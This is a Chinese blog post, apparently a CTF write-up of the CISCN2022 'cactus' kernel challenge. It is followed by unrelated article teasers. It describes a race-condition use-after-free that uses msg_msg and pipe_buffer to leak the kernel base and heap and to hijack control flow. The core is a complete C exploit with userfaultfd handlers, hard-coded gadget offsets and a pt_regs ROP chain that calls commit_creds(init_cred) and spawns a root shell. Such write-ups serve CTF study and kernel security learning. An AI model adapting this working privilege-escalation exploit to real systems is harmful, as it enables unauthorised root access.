CISCN2022-cactus

news2024/11/24 19:32:00

        这周在疯狂学kernel pwn。

        记录一下这题,race conditon+msg_msg+pipe_buffer,kaslr+smep+smap+kpti。

        

        漏洞很简单,所有操作都没加锁,就是race condition了。edit什么的都只能2次。 

        很明显了,一次泄露基址,一次劫持控制流。

        这种板子就是UAF,在edit中copy_from_user的时候释放,然后再分配相同cache的结构体,就能篡改那个结构体了。题目中的是kmalloc-1k。很明显了,用UAF修改msg_msg的m_ts字段来越界读。

        看一下slub的情况,没有开random_freelist。而且我们分配的object就在第一个,很整齐啊。这就想到了同样为kmalloc-1k的pipe buffer,可以越界读pipe buffer的op表,这是个全局变量,读出这个就能根据偏移计算出kbase了。

        现在开始考虑怎么劫持控制流来提权。很明显也只能是pipe_buffer,第二次UAF篡改pipe_buffer的op表,现在问题来了。由于开启了smap,我们不能在用户空间伪造op表了,只能在内核空间。我们分配的object都是任由我们写的,看到在这儿伪造。

        那么怎么知道object的地址呢?很明显,之前说了,没有看ramdom_freelist,我们可以把msg_msg的m_ts改大一点,顺便泄露下一个object的next指针,就能知道堆的地址啦。

        注意,这道题中object的next指针不在0x0的位置,在很里面,最好msg_rcv后全都打印出来,别数了,容易数错。

        最后我是打pt_regs来提权的,因为一下子找不到好的gadget来栈迁移,应该要找类似于"mov rsi,rsp",一下子没找到。

以下是代码:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <stdint.h>

int pipefd[2];
int hijack[2];
size_t init_cred;
size_t commit_creds;
size_t pop_rdi;
size_t heap_addr;
size_t add_rsp;
size_t restore;

struct list_head {
    uint64_t    next;
    uint64_t    prev;
};

struct msg_msg {
    struct list_head m_list;
    uint64_t    m_type;
    uint64_t    m_ts;
    uint64_t    next;
    uint64_t    security;
};

struct msg_msgseg {
    uint64_t    next;
};

/*
struct msgbuf {
    long mtype;
    char mtext[0];
};
*/

int get_msg_queue(void)
{
    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

/**
 * the msgp should be a pointer to the `struct msgbuf`,
 * and the data should be stored in msgbuf.mtext
 */
int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    ((struct msgbuf*)msgp)->mtype = msgtyp;
    return msgsnd(msqid, msgp, msgsz, 0);
}

/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    return msgrcv(msqid, msgp, msgsz, msgtyp, 
                  MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void build_msg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev, 
              uint64_t m_type, uint64_t m_ts,  uint64_t next, uint64_t security)
{
    msg->m_list.next = m_list_next;
    msg->m_list.prev = m_list_prev;
    msg->m_type = m_type;
    msg->m_ts = m_ts;
    msg->next = next;
    msg->security = security;
}


size_t prepare_kernel_cred=NULL;
size_t commit_creds=NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
int fd;

void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void err_exit(char *msg)
{
        perror(msg);
        sleep(2);
        exit(EXIT_FAILURE);
}

void getRootPrivilige(void)
{
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void get_shell(){
        system("/bin/sh");
}

struct Node{
        size_t idx;
        size_t size;
        char* buf;
};

void del(size_t idx){
        ioctl(fd,48,&idx);
}

void edit(size_t idx,size_t buf,size_t size){
        struct Node node={idx,size,buf};
        ioctl(fd,80,&node);
}

void add(size_t buf){
        struct Node node={.size=buf};
        ioctl(fd,32,&node);
}

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) perror("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) perror("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}


char mg[800];
char copy_src[0x1000];
size_t qu=0;

void* handler0(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler0");
                
                memset(mg,'A',800);
                pipe(pipefd);
                write(pipefd[1],"haoqiguai\x00",10);
                
                puts("[+] pipe end");
                
                qu=get_msg_queue();
                del(0);
                write_msg(qu, mg, 800, 1);
                size_t cpy[5];
                cpy[0]=0;
                cpy[1]=0;
                cpy[2]=1;
                cpy[3]=3000;
                cpy[4]=0;
                memcpy(copy_src,cpy,0x28);


                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void* handler1(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler1");
                
                del(0);
                
                pipe(hijack);
                
                write(hijack[1],"haoqiguai\x00",10);
                
                size_t ch[3];
                
                ch[0]=0;
                ch[1]=add_rsp;
                ch[2]=heap_addr;
                memcpy(copy_src,ch,0x18);
                
                
                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

char *uffd_buf0, *uffd_buf1;
pthread_t thr0, thr1;

int main(){
        //save_status();
        bind_core(0);
        fd=open("/dev/kernelpwn",2);
        char buf[1024]={0};
        add(buf);
        uffd_buf0 = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        uffd_buf1 = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        if (uffd_buf0 == MAP_FAILED || uffd_buf1 == MAP_FAILED) err_exit("mmap for uffd");
        register_userfaultfd(&thr0, uffd_buf0, 0x1000, handler0);
        register_userfaultfd(&thr1, uffd_buf1, 0x1000, handler1);
        puts("[+] start to leak kernel base and heap addr");
        edit(0,uffd_buf0,0x28);
        size_t leak[250]={0};
        peek_msg(qu,leak,3000,0);    
        size_t ops=leak[125];
        int j=0;
        heap_addr=leak[315];
        heap_addr-=0x400;
        printf("heap_adde:%lx\n",heap_addr);
        printf("pipe_buffer ops:%lx\n",ops);    
        size_t kernel_base=ops-0x203ed80;
        printf("kernel_base:%lx\n",kernel_base);
        init_cred=kernel_base+0x2a6b700;
        commit_creds=kernel_base+0x10c9540;
        pop_rdi=kernel_base+0x108c420;
        restore=kernel_base+0x1c00fb0+14;
        add_rsp=kernel_base+0x10546aa;//add rsp, 0x148; pop r12; pop rbp; ret;
        add(buf);
        edit(0,uffd_buf1,0x18);
        
        close(hijack[0]);
        
        __asm__(
        "mov r15,0xdeadbeef;"
        "mov r14,pop_rdi;"
        "mov r13,init_cred;"
        "mov r12,commit_creds;"
        "mov rbp,restore;"
        );
        
        close(hijack[1]);
        
               system("/bin/sh");
               
               return 0;
        }

         对了,打pt_regs的add rsp的gadget推荐用ropper找,ROPgadget 找不出来。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2211762.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

unidbg console debugger 调试技巧

版权归作者所有&#xff0c;如有转发&#xff0c;请注明文章出处&#xff1a;https://cyrus-studio.github.io/blog/ 打开debug日志 编辑 unidbg-android/src/test/resources/log4j.properties 把 log4j.logger.com.github.unidbg.AbstractEmulator 改为 DEBUG 当运行报错时…

lenovo联想 ThinkPad E14 Gen 2,E15 Gen 2 AMD(20T6,20T7,20T8,20T9)原厂Win10系统镜像下载

适用机型&#xff1a;【20T6、20T7、20T8、20T9】 链接&#xff1a;https://pan.baidu.com/s/1AVTvmiIHjafsFw8P7_jMPg?pwdzux5 提取码&#xff1a;zux5 联想原装WIN系统自带所有驱动、出厂主题壁纸、系统属性联机支持标志、系统属性专属LOGO标志、Office办公软件、联想电脑…

C#实现CRC32算法

CRC32 是一种校验和算法&#xff0c;用于检测消息是否未被修改。 它被广泛使用&#xff1a;例如&#xff0c;计算以太网发送包校验和。 public class CRC32 {private static readonly uint[] Crc32Table new uint[256];static CRC32(){uint i, j;uint crc;for (i 0; i < …

《深度学习》OpenCV 风格迁移、DNN模块 案例解析及实现

目录 一、风格迁移 1、什么是风格迁移 2、步骤 1&#xff09;训练 2&#xff09;迁移 二、DNN模块 1、什么是DNN模块 2、DNN模块特点 1&#xff09;轻量 2&#xff09;外部依赖性低 3&#xff09;方便 4&#xff09;集成 5&#xff09;通用性 3、流程图 4、图像…

软件设计之Redis(1)

软件设计之Redis(1) 路线图推荐&#xff1a; 【Java学习路线-极速版】【Java架构师技术图谱】 尚硅谷Redis零基础到进阶&#xff0c;最强redis7教程&#xff0c;阳哥亲自带练&#xff08;附redis面试题&#xff09; 资料可以去尚硅谷官网免费领取 学习内容&#xff1a; Redi…

Unity3D 观察者模式

Unity3D 泛型事件系统 观察者模式 观察者模式是一种行为设计模式&#xff0c;通过订阅机制&#xff0c;可以让对象触发事件时&#xff0c;通知多个其他对象。 在游戏逻辑中&#xff0c;UI 界面通常会监听一些事件&#xff0c;当数据层发生变化时&#xff0c;通过触发事件&am…

【JavaSE基础】Java 变量

为什么需要变量 变量是程序的基本组成单位 class Test{public static void main(String[] args){int a 1; //定义一个变量&#xff0c;类型为int&#xff0c;变量名为a&#xff0c;并赋值为1int b 3; //定义另一个变量&#xff0c;类型为int&#xff0c;变量名为b&#xff0…

sqli-labs less-25 and/or绕过

来到less-25 我们可以看到下面有提示&#xff0c;Hint: Your Input is Filtered with following result: 说明本关卡有过滤&#xff0c; 构造 http://192.168.140.130/sq/Less-25/?id1’ 页面报错&#xff0c;从报错可以得知闭合方式为,所以 用注释符&#xff0c;发现注释符…

oracle数据坏块处理(一)-通过rman备份修复

表有坏块时&#xff0c;全表查询会报错&#xff1a; 这时候如果有前面正常的rman备份&#xff0c;那么我们就可以通过rman备份直接对数据文件块做恢复 先对数据文件做个逻辑检查&#xff1a; RMAN> backup check logical VALIDATE DATAFILE EXB_DATA/exb/datafile/cuteinf…

公开课 | 2024最新清华大模型公开课 第3课 神经网络与大模型基础 Part 2

本文由readlecture.cn转录总结。ReadLecture专注于音、视频转录与总结&#xff0c;2小时视频&#xff0c;5分钟阅读&#xff0c;加速内容学习与传播。 大纲 神经网络概述 神经网络的概念 神经网络的应用方式 序列建模与神经网络架构 循环神经网络&#xff08;RNN&#xff09;…

UE5模型导入面板解读

1.Skeletal Mesh&#xff1a; 是一个可以让模型动起来的选项&#xff0c;适用于需要动画的角色或生物。是否勾选&#xff1a;如果导入的是一个需要动画的角色或生物&#xff0c;就勾选 Skeletal Mesh 选项&#xff1b;如果是静态物体&#xff0c;就不勾选。 2.Build Nanite&a…

集合类HashMap,HashTable,ConcurrentHashMap区别?

1.HashMap 简单来说&#xff0c;HashMap由数组链表组成的&#xff0c;数组是HashMap的主体&#xff0c;链表则是主要为了解决哈希冲突而存在的&#xff0c;如果定位到的数组位置不含链表&#xff08;当前entry的next指向null&#xff09;,那么对于查找&#xff0c;添加等操作很…

VS中创建QT项目。

一&#xff0c;安装QT&#xff0c; 重点&#xff1a;在安装QT的时候要安装msvc201x版本的组件&#xff0c; 二 &#xff0c; 安装 qt-vs-tools Index of /development_releases/vsaddin/2.8.1 三。安装 win10sdk&#xff0c;这是因为我的当前电脑是win10的&#xff0c; 安装版…

【逗号绕过】

简介 所以为了避免逗号被过滤&#xff0c;我们来看看如何绕过叭 一、From for 绕过 我们直接看一个题目&#xff1a; id1 页面输出hello user id1 and 11%23 页面返回hello user id1 and 11%23 页面不返回数据符合盲注&#xff0c;并且是一个数字型的sql注入&#xff0c;尝…

13.梯度下降法的代码实战——举足轻重的模型优化算法

引言 通过12.梯度下降法的具体解析——举足轻重的模型优化算法-CSDN博客的学习&#xff0c;我们已经了解到了梯度下降法的整体流程与不同分类。归根结底&#xff0c;我们最终是要使用代码实现梯度下降法。 通过阅读本篇博客&#xff0c;你可以&#xff1a; 1.知晓轮次和批次…

Unity URP 如何实现遮挡显示 (全流程教程)

嗨~~&#xff01;&#xff0c;熊猫老师又来了 &#xff0c;这次为大家分享项目中非常实用的一个技术点&#xff1a;遮挡显示。 老规矩&#xff0c;上才艺&#xff1a; 实现原理 &#xff1a;对模型渲染两次。 第一次&#xff1a; 正常渲染物体&#xff0c;深度测试不通过的情况…

【工具】HTTrack:网站一键克隆下载,实现离线浏览与备份的利器

什么是 HTTrack&#xff1f; HTTrack 是一款用于复制完整网站的开源工具&#xff0c;它可以从服务器下载整个网站的内容&#xff0c;包括 HTML 文件、图像、样式表、脚本等资源。通过这种方式&#xff0c;你可以在离线状态下浏览网站&#xff0c;就像在线一样。 HTTrack 支持…

设备台账管理是什么

设备管理对企业至关重要。比如在电子加工企业&#xff0c;高效的设备管理能减少设备故障&#xff0c;提升生产效率&#xff0c;为企业赢得市场竞争优势。设备台账管理作为设备管理的一个核心部分&#xff0c;起着重要的作用。 让我们一起从本篇文章中探索设备台账管理是什么&a…

[STM32] 简单介绍 (一)

文章目录 1.STM32简介2.ARM3.STM32F103ZET6/STM32F103C8T64.STM32命名规则5.STM32最小系统板6.STM32开发方式7.STM32系统架构8.STM32时钟系统9.STM32中断系统10.STM32定时器 1.STM32简介 STM32是ST公司基于ARM Cortex-M内核开发的32位微控制器&#xff1b; STM32常应用在嵌入式…

【最新华为OD机试E卷-支持在线评测】高矮个子排队(100分)多语言题解-(Python/C/JavaScript/Java/Cpp)

🍭 大家好这里是春秋招笔试突围 ,一枚热爱算法的程序员 💻 ACM金牌🏅️团队 | 大厂实习经历 | 多年算法竞赛经历 ✨ 本系列打算持续跟新华为OD-E/D卷的多语言AC题解 🧩 大部分包含 Python / C / Javascript / Java / Cpp 多语言代码 👏 感谢大家的订阅➕ 和 喜欢�…